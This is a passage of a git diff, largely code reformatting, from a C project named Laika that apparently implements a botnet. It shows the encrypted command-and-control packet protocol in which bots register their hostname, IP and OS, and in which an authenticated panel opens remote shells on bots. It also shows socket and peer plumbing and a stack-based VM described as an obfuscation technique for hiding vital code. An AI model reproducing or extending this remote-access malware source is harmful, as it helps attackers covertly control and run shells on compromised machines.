-- encrypted with shared key & nonce -*/ +#define LAIKA_MAX_SHELLS 16 /* + first handshake between peer & cnc works as so: + - peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & + inet ip + - after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted + - cnc responds with LAIKAPKT_HANDSHAKE_RES + - if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then + sent + + encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true) + { + LAIKAPKT_ID pktID; -- plain text + uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text + uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce + } + any packet ending with *_RES is cnc 2 peer any packet ending with *_REQ is peer 2 cnc if packet doesn't have either, it can be sent & received by both peer & cnc */ -enum { -/* =========================================[[ Peer ]]========================================== */ + +enum +{ + /* =======================================[[ Peer ]]======================================== */ LAIKAPKT_VARPKT, /* layout of LAIKAPKT_VARPKT: - * LAIKAPKT_SIZE pktSize; - * LAIKAPKT_ID pktID; - */ + * LAIKAPKT_SIZE pktSize; + * LAIKAPKT_ID pktID; + */ LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */ /* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!! - * uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC - * uint8_t majorVer; - * uint8_t minorVer; - * uint8_t osType; - * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with - * char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) - * char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes) - */ + * uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC + * uint8_t majorVer; + * uint8_t minorVer; + * uint8_t osType; + * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted + * nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char + * inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes) + */ LAIKAPKT_HANDSHAKE_RES, /* layout of LAIKAPKT_HANDSHAKE_RES: - * uint8_t cncEndian; - */ + * uint8_t cncEndian; + */ LAIKAPKT_PINGPONG, /* layout of LAIKAPKT_PINGPONG: - * NULL (empty packet) - */ + * NULL (empty packet) + */ LAIKAPKT_SHELL_OPEN, /* layout of LAIKAPKT_SHELL_OPEN: - * uint32_t id; - * uint16_t cols; - * uint16_t rows; - */ + * uint32_t id; + * uint16_t cols; + * uint16_t rows; + */ LAIKAPKT_SHELL_CLOSE, /* layout of LAIKAPKT_SHELL_CLOSE: - * uint32_t id; - */ + * uint32_t id; + */ LAIKAPKT_SHELL_DATA, /* layout of LAIKAPKT_SHELL_DATA - * uint32_t id; - * char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; - */ -/* =========================================[[ Auth ]]========================================== */ - LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */ + * uint32_t id; + * char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; + */ + /* =======================================[[ Auth ]]======================================== */ + LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). + there is no response packet */ /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ - * uint8_t peerType; - */ + * uint8_t peerType; + */ LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */ /* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES - * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot - * char hostname[LAIKA_HOSTNAME_LEN]; - * char inet[LAIKA_INET_LEN]; - * char ipStr[LAIKA_IPSTR_LEN]; - * uint8_t peerType; - * uint8_t osType; - */ - LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */ + * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + * char hostname[LAIKA_HOSTNAME_LEN]; + * char inet[LAIKA_INET_LEN]; + * char ipStr[LAIKA_IPSTR_LEN]; + * uint8_t peerType; + * uint8_t osType; + */ + LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc + */ /* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES - * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot - * uint8_t peerType; - */ - LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */ + * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + * uint8_t peerType; + */ + LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no + response packet, shell is assumed to be open */ /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ - * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot - * uint16_t cols; - * uint16_t rows; - */ + * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + * uint16_t cols; + * uint16_t rows; + */ LAIKAPKT_MAXNONE }; @@ -105,7 +112,7 @@ typedef uint8_t LAIKAPKT_ID; typedef uint16_t LAIKAPKT_SIZE; #ifdef DEBUG -const char* laikaD_getPacketName(LAIKAPKT_ID); +const char *laikaD_getPacketName(LAIKAPKT_ID); #endif #endif \ No newline at end of file diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 68d97f9..37f76c7 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -2,66 +2,75 @@ #define LAIKA_PEER_H #include "laika.h" -#include "lsocket.h" #include "lpacket.h" #include "lpolllist.h" +#include "lsocket.h" #include "lsodium.h" -typedef enum { +typedef enum +{ PEER_UNKNWN, PEER_BOT, PEER_CNC, /* cnc 2 cnc communication */ PEER_AUTH /* authorized peers can send commands to cnc */ } PEERTYPE; -typedef enum { +typedef enum +{ OS_UNKNWN, OS_WIN, OS_LIN } OSTYPE; #ifdef _WIN32 -# define LAIKA_OSTYPE OS_WIN +# define LAIKA_OSTYPE OS_WIN #else -# ifdef __linux__ -# define LAIKA_OSTYPE OS_LIN -# else -# define LAIKA_OSTYPE OS_UNKNWN -# endif +# ifdef __linux__ +# define LAIKA_OSTYPE OS_LIN +# else +# define LAIKA_OSTYPE OS_UNKNWN +# endif #endif typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); -struct sLaika_peerPacketInfo { +struct sLaika_peerPacketInfo +{ PeerPktHandler handler; LAIKAPKT_SIZE size; bool variadic; }; -#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC} +#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) \ + [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC} -struct sLaika_peer { - struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ +struct sLaika_peer +{ + struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting + sLaika_peer* to sLaika_sock* works as intended */ uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN]; - struct sLaika_pollList *pList; /* pollList we're activeList in */ + struct sLaika_pollList *pList; /* pollList we're activeList in */ struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */ - void *uData; /* data to be passed to pktHandler */ - LAIKAPKT_SIZE pktSize; /* current pkt size */ - LAIKAPKT_ID pktID; /* current pkt ID */ + void *uData; /* data to be passed to pktHandler */ + LAIKAPKT_SIZE pktSize; /* current pkt size */ + LAIKAPKT_ID pktID; /* current pkt ID */ PEERTYPE type; OSTYPE osType; - int outStart; /* index of pktID for out packet */ - int inStart; /* index of pktID for in packet */ + int outStart; /* index of pktID for out packet */ + int inStart; /* index of pktID for in packet */ bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */ }; -struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData); +struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, + struct sLaika_pollList *pList, pollFailEvent onPollFail, + void *onPollFailUData, void *uData); void laikaS_freePeer(struct sLaika_peer *peer); void laikaS_setSecure(struct sLaika_peer *peer, bool flag); -void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */ +void laikaS_emptyOutPacket(struct sLaika_peer *peer, + LAIKAPKT_ID id); /* for sending packets with no body */ void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); int laikaS_endOutPacket(struct sLaika_peer *peer); void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); diff --git a/lib/include/lpolllist.h b/lib/include/lpolllist.h index 50fa179..2c9e916 100644 --- a/lib/include/lpolllist.h +++ b/lib/include/lpolllist.h @@ -1,22 +1,24 @@ #ifndef LAIKA_POLLLIST_H #define LAIKA_POLLLIST_H -#include - +#include "hashmap.h" #include "laika.h" #include "lsocket.h" -#include "hashmap.h" + +#include /* number of pollFDs or epollFDs we expect to start with */ #define POLLSTARTCAP 8 -struct sLaika_pollEvent { +struct sLaika_pollEvent +{ struct sLaika_socket *sock; bool pollIn; bool pollOut; }; -struct sLaika_pollList { +struct sLaika_pollList +{ struct hashmap *sockets; struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */ struct sLaika_pollEvent *revents; diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h index 7ed340c..cd3d261 100644 --- a/lib/include/lsocket.h +++ b/lib/include/lsocket.h @@ -4,57 +4,58 @@ /* socket/winsock headers */ #ifdef _WIN32 /* windows */ -# ifndef NOMINMAX -# define NOMINMAX -# endif -# define _WINSOCK_DEPRECATED_NO_WARNINGS -# include -# include -# include -# pragma comment(lib, "Ws2_32.lib") +# ifndef NOMINMAX +# define NOMINMAX +# endif +# define _WINSOCK_DEPRECATED_NO_WARNINGS +# include +# include +# include +# pragma comment(lib, "Ws2_32.lib") - typedef char buffer_t; -# define PollFD WSAPOLLFD -# define poll WSAPoll -# define LN_ERRNO WSAGetLastError() -# define LN_EWOULD WSAEWOULDBLOCK -# define LN_MSG_NOSIGNAL 0 -# define SOCKETINVALID(x) (x == INVALID_SOCKET) -# define SOCKETERROR(x) (x == SOCKET_ERROR) +typedef char buffer_t; +# define PollFD WSAPOLLFD +# define poll WSAPoll +# define LN_ERRNO WSAGetLastError() +# define LN_EWOULD WSAEWOULDBLOCK +# define LN_MSG_NOSIGNAL 0 +# define SOCKETINVALID(x) (x == INVALID_SOCKET) +# define SOCKETERROR(x) (x == SOCKET_ERROR) #else /* posix platform */ -# include -# include -# include -# include -# include -# include -# ifdef __linux__ -# include - /* max events for epoll() */ -# define MAX_EPOLL_EVENTS 128 -# define LAIKA_USE_EPOLL -# endif -# include -# include +# include +# include +# include +# include +# include +# include +# ifdef __linux__ +# include +/* max events for epoll() */ +# define MAX_EPOLL_EVENTS 128 +# define LAIKA_USE_EPOLL +# endif +# include +# include - typedef int SOCKET; - typedef void buffer_t; -# define PollFD struct pollfd -# define LN_ERRNO errno -# define LN_EWOULD EWOULDBLOCK -# define LN_MSG_NOSIGNAL MSG_NOSIGNAL -# define INVALID_SOCKET -1 -# define SOCKETINVALID(x) (x < 0) -# define SOCKETERROR(x) (x == -1) +typedef int SOCKET; +typedef void buffer_t; +# define PollFD struct pollfd +# define LN_ERRNO errno +# define LN_EWOULD EWOULDBLOCK +# define LN_MSG_NOSIGNAL MSG_NOSIGNAL +# define INVALID_SOCKET -1 +# define SOCKETINVALID(x) (x < 0) +# define SOCKETERROR(x) (x == -1) #endif -#include -#include - #include "laika.h" #include "lsodium.h" -typedef enum { +#include +#include + +typedef enum +{ RAWSOCK_OK, RAWSOCK_ERROR, RAWSOCK_CLOSED, @@ -64,14 +65,15 @@ typedef enum { typedef bool (*pollEvent)(struct sLaika_socket *sock); typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData); -struct sLaika_socket { +struct sLaika_socket +{ SOCKET sock; /* raw socket fd */ pollFailEvent onPollFail; pollEvent onPollIn; pollEvent onPollOut; - void *uData; /* passed to onPollFail */ + void *uData; /* passed to onPollFail */ uint8_t *outBuf; /* raw data to be sent() */ - uint8_t *inBuf; /* raw data we recv()'d */ + uint8_t *inBuf; /* raw data we recv()'d */ int outCount; int inCount; int outCap; @@ -87,24 +89,31 @@ bool laikaS_isBigEndian(void); void laikaS_init(void); void laikaS_cleanUp(void); -void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData); +void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, + pollFailEvent onPollFail, void *uData); void laikaS_cleanSocket(struct sLaika_socket *sock); -void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */ +void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */ -void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */ +void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr); bool laikaS_setNonBlock(struct sLaika_socket *sock); -void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */ -void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz); /* writes sz NULL bytes to the outBuf */ -void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */ +void laikaS_consumeRead(struct sLaika_socket *sock, + size_t sz); /* throws sz bytes away from the inBuf */ +void laikaS_zeroWrite(struct sLaika_socket *sock, + size_t sz); /* writes sz NULL bytes to the outBuf */ +void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */ -void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */ -void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/ +void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, + uint8_t *pub); /* encrypts & writes from buf using pub key */ +void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, + uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/ void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data); uint8_t laikaS_readByte(struct sLaika_socket *sock); -void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */ -void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */ +void laikaS_readInt(struct sLaika_socket *sock, void *buf, + size_t sz); /* reads INT, respecting endianness */ +void laikaS_writeInt(struct sLaika_socket *sock, void *buf, + size_t sz); /* writes INT, respecting endianness */ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed); RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed); diff --git a/lib/include/ltask.h b/lib/include/ltask.h index 0ef00c6..c4eebd6 100644 --- a/lib/include/ltask.h +++ b/lib/include/ltask.h @@ -1,13 +1,15 @@ #ifndef LAIKA_TASK_H #define LAIKA_TASK_H -#include - #include "laika.h" -typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); +#include -struct sLaika_task { +typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, + clock_t currTick, void *uData); + +struct sLaika_task +{ struct sLaika_task *next; taskCallback callback; void *uData; @@ -15,14 +17,16 @@ struct sLaika_task { int delta; }; -struct sLaika_taskService { +struct sLaika_taskService +{ struct sLaika_task *headTask; }; void laikaT_initTaskService(struct sLaika_taskService *service); void laikaT_cleanTaskService(struct sLaika_taskService *service); -struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData); +struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, + taskCallback callback, void *uData); void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task); void laikaT_pollTasks(struct sLaika_taskService *service); diff --git a/lib/include/lvm.h b/lib/include/lvm.h index 05ec4a1..f55fffe 100644 --- a/lib/include/lvm.h +++ b/lib/include/lvm.h @@ -5,50 +5,63 @@ This is an obfuscation technique where vital code can be executed in a stack-based VM, inlined into the function. The VM instruction-set is fairly simple, see the OP_* enum for avaliable opcodes and their expected arguments. - The VM is turing-complete, however the instruction-set has been curated to + The VM is turing-complete, however the instruction-set has been curated to fit this specific use case. */ -#include - #include "laika.h" #include "lerror.h" +#include + #define LAIKA_VM_STACKSIZE 64 #define LAIKA_VM_CONSTSIZE 32 -struct sLaikaV_vm_val { - union { +struct sLaikaV_vm_val +{ + union + { uint8_t i; uint8_t *ptr; }; }; -struct sLaikaV_vm { +struct sLaikaV_vm +{ struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE]; struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE]; uint8_t code[LAIKA_VM_CODESIZE]; int pc; }; -#define LAIKA_MAKE_VM(_consts, _code) {.constList = _consts, .code = _code, .pc = 0, .stack = {0}} +#define LAIKA_MAKE_VM(_consts, _code) \ + { \ + .constList = _consts, .code = _code, .pc = 0, .stack = { 0 } \ + } /* constants */ -#define LAIKA_MAKE_VM_INT(_i) {.i = _i} -#define LAIKA_MAKE_VM_PTR(_ptr) {.ptr = _ptr} +#define LAIKA_MAKE_VM_INT(_i) \ + { \ + .i = _i \ + } +#define LAIKA_MAKE_VM_PTR(_ptr) \ + { \ + .ptr = _ptr \ + } /* instructions */ -#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a -#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b +#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a +#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b #define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c -enum { +enum +{ OP_EXIT, OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */ - OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */ - OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */ - OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */ - OP_INCPTR, /* stk_indx[uint8_t].ptr++ */ - OP_DECPTR, /* stk_indx[uint8_t].ptr-- */ + OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */ + OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */ + OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */ + OP_INCPTR, /* stk_indx[uint8_t].ptr++ */ + OP_DECPTR, /* stk_indx[uint8_t].ptr-- */ /* arithmetic */ OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */ @@ -68,83 +81,93 @@ enum { #endif }; -LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm) { +LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm) +{ #define READBYTE (vm->code[vm->pc++]) -#define BINOP(x) { \ - uint8_t a = READBYTE; \ - uint8_t b = READBYTE; \ - uint8_t c = READBYTE; \ - vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \ - break; \ -} +#define BINOP(x) \ + { \ + uint8_t a = READBYTE; \ + uint8_t b = READBYTE; \ + uint8_t c = READBYTE; \ + vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \ + break; \ + } while (vm->code[vm->pc]) { switch (vm->code[vm->pc++]) { - case OP_LOADCONST: { - uint8_t indx = READBYTE; - uint8_t constIndx = READBYTE; - vm->stack[indx] = vm->constList[constIndx]; - break; - } - case OP_PUSHLIT: { - uint8_t indx = READBYTE; - uint8_t lit = READBYTE; - vm->stack[indx].i = lit; - break; - } - case OP_READ: { - uint8_t indx = READBYTE; - uint8_t ptr = READBYTE; - vm->stack[indx].i = *vm->stack[ptr].ptr; - break; - } - case OP_WRITE: { - uint8_t ptr = READBYTE; - uint8_t indx = READBYTE; - *vm->stack[ptr].ptr = vm->stack[indx].i; - break; - } - case OP_INCPTR: { - uint8_t ptr = READBYTE; - vm->stack[ptr].ptr++; - break; - } - case OP_DECPTR: { - uint8_t ptr = READBYTE; - vm->stack[ptr].ptr--; - break; - } - case OP_ADD: BINOP(+); - case OP_SUB: BINOP(-); - case OP_MUL: BINOP(*); - case OP_DIV: BINOP(/); - case OP_AND: BINOP(&); - case OP_OR: BINOP(|); - case OP_XOR: BINOP(^); - case OP_TESTJMP: { - uint8_t indx = READBYTE; - int8_t jmp = READBYTE; + case OP_LOADCONST: { + uint8_t indx = READBYTE; + uint8_t constIndx = READBYTE; + vm->stack[indx] = vm->constList[constIndx]; + break; + } + case OP_PUSHLIT: { + uint8_t indx = READBYTE; + uint8_t lit = READBYTE; + vm->stack[indx].i = lit; + break; + } + case OP_READ: { + uint8_t indx = READBYTE; + uint8_t ptr = READBYTE; + vm->stack[indx].i = *vm->stack[ptr].ptr; + break; + } + case OP_WRITE: { + uint8_t ptr = READBYTE; + uint8_t indx = READBYTE; + *vm->stack[ptr].ptr = vm->stack[indx].i; + break; + } + case OP_INCPTR: { + uint8_t ptr = READBYTE; + vm->stack[ptr].ptr++; + break; + } + case OP_DECPTR: { + uint8_t ptr = READBYTE; + vm->stack[ptr].ptr--; + break; + } + case OP_ADD: + BINOP(+); + case OP_SUB: + BINOP(-); + case OP_MUL: + BINOP(*); + case OP_DIV: + BINOP(/); + case OP_AND: + BINOP(&); + case OP_OR: + BINOP(|); + case OP_XOR: + BINOP(^); + case OP_TESTJMP: { + uint8_t indx = READBYTE; + int8_t jmp = READBYTE; - /* if stack indx is true, jump by jmp (signed 8-bit int) */ - if (vm->stack[indx].i) - vm->pc += jmp; + /* if stack indx is true, jump by jmp (signed 8-bit int) */ + if (vm->stack[indx].i) + vm->pc += jmp; - break; - } + break; + } #ifdef DEBUG - case OP_DEBUG: { - int i; + case OP_DEBUG: { + int i; - /* print stack info */ - for (i = 0; i < LAIKA_VM_STACKSIZE; i++) - printf("[%03d] - 0x%02x\n", i, vm->stack[i].i); + /* print stack info */ + for (i = 0; i < LAIKA_VM_STACKSIZE; i++) + printf("[%03d] - 0x%02x\n", i, vm->stack[i].i); - break; - } + break; + } #endif - default: - LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc], vm->pc); + default: + LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc], + vm->pc); } } diff --git a/lib/src/lmem.c b/lib/src/lmem.c index fa6ce26..c3747ff 100644 --- a/lib/src/lmem.c +++ b/lib/src/lmem.c @@ -1,7 +1,9 @@ -#include "lerror.h" #include "lmem.h" -void *laikaM_realloc(void *buf, size_t sz) { +#include "lerror.h" + +void *laikaM_realloc(void *buf, size_t sz) +{ void *newBuf; /* are we free'ing the buffer? */ diff --git a/lib/src/lpacket.c b/lib/src/lpacket.c index d43aa13..7d46d12 100644 --- a/lib/src/lpacket.c +++ b/lib/src/lpacket.c @@ -1,20 +1,19 @@ #include "lpacket.h" #ifdef DEBUG -const char* laikaD_getPacketName(LAIKAPKT_ID id) { - const char *PKTNAMES[] = { - "LAIKAPKT_VARPKT", - "LAIKAPKT_HANDSHAKE_REQ", - "LAIKAPKT_HANDSHAKE_RES", - "LAIKAPKT_PINGPONG", - "LAIKAPKT_SHELL_OPEN", - "LAIKAPKT_SHELL_CLOSE", - "LAIKAPKT_SHELL_DATA", - "LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ", - "LAIKAPKT_AUTHENTICATED_ADD_PEER_RES", - "LAIKAPKT_AUTHENTICATED_RMV_PEER_RES", - "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ" - }; +const char *laikaD_getPacketName(LAIKAPKT_ID id) +{ + const char *PKTNAMES[] = {"LAIKAPKT_VARPKT", + "LAIKAPKT_HANDSHAKE_REQ", + "LAIKAPKT_HANDSHAKE_RES", + "LAIKAPKT_PINGPONG", + "LAIKAPKT_SHELL_OPEN", + "LAIKAPKT_SHELL_CLOSE", + "LAIKAPKT_SHELL_DATA", + "LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ", + "LAIKAPKT_AUTHENTICATED_ADD_PEER_RES", + "LAIKAPKT_AUTHENTICATED_RMV_PEER_RES", + "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"}; return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id]; } diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index 4602e89..a8b5c95 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -1,16 +1,16 @@ -#include "lerror.h" -#include "lmem.h" #include "lpeer.h" -struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData) { +#include "lerror.h" +#include "lmem.h" + +struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, + struct sLaika_pollList *pList, pollFailEvent onPollFail, + void *onPollFailUData, void *uData) +{ struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer)); - laikaS_initSocket(&peer->sock, - laikaS_handlePeerIn, - laikaS_handlePeerOut, - onPollFail, - onPollFailUData - ); + laikaS_initSocket(&peer->sock, laikaS_handlePeerIn, laikaS_handlePeerOut, onPollFail, + onPollFailUData); peer->packetTbl = pktTbl; peer->pList = pList; @@ -31,14 +31,16 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct return peer; } -void laikaS_freePeer(struct sLaika_peer *peer) { +void laikaS_freePeer(struct sLaika_peer *peer) +{ laikaS_cleanSocket(&peer->sock); laikaM_free(peer); } /* ===================================[[ Start/End Packets ]]=================================== */ -void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { +void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) +{ struct sLaika_socket *sock = &peer->sock; laikaS_writeByte(sock, id); @@ -47,7 +49,8 @@ void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { laikaP_pushOutQueue(peer->pList, &peer->sock); } -void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { +void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) +{ struct sLaika_socket *sock = &peer->sock; if (peer->outStart != -1) /* sanity check */ @@ -56,27 +59,31 @@ void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { laikaS_writeByte(sock, id); peer->outStart = sock->outCount; - if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */ + if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the + packet ID */ uint8_t nonce[crypto_secretbox_NONCEBYTES]; randombytes_buf(nonce, crypto_secretbox_NONCEBYTES); laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES); } } -int laikaS_endOutPacket(struct sLaika_peer *peer) { +int laikaS_endOutPacket(struct sLaika_peer *peer) +{ struct sLaika_socket *sock = &peer->sock; uint8_t *body; size_t sz; if (peer->useSecure) { /* make sure we have enough space */ - laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap); + laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, + sock->outCap); /* packet body starts after the id & nonce */ body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES]; /* encrypt packet body in-place */ - if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES, - &sock->outBuf[peer->outStart], peer->outKey) != 0) { + if (crypto_secretbox_easy(body, body, + (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES, + &sock->outBuf[peer->outStart], peer->outKey) != 0) { LAIKA_ERROR("Failed to encrypt packet!\n"); } @@ -92,28 +99,33 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) { return sz; } -void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { +void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) +{ struct sLaika_socket *sock = &peer->sock; if (peer->outStart != -1) /* sanity check */ LAIKA_ERROR("unended OUT packet!\n"); laikaS_writeByte(sock, LAIKAPKT_VARPKT); - 